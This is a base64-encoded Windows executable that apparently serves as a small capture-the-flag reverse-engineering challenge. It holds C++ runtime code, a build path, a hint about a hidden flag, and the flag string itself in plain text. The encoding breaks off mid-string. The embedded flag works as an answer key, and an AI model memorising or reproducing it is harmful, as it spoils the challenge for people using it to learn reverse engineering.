"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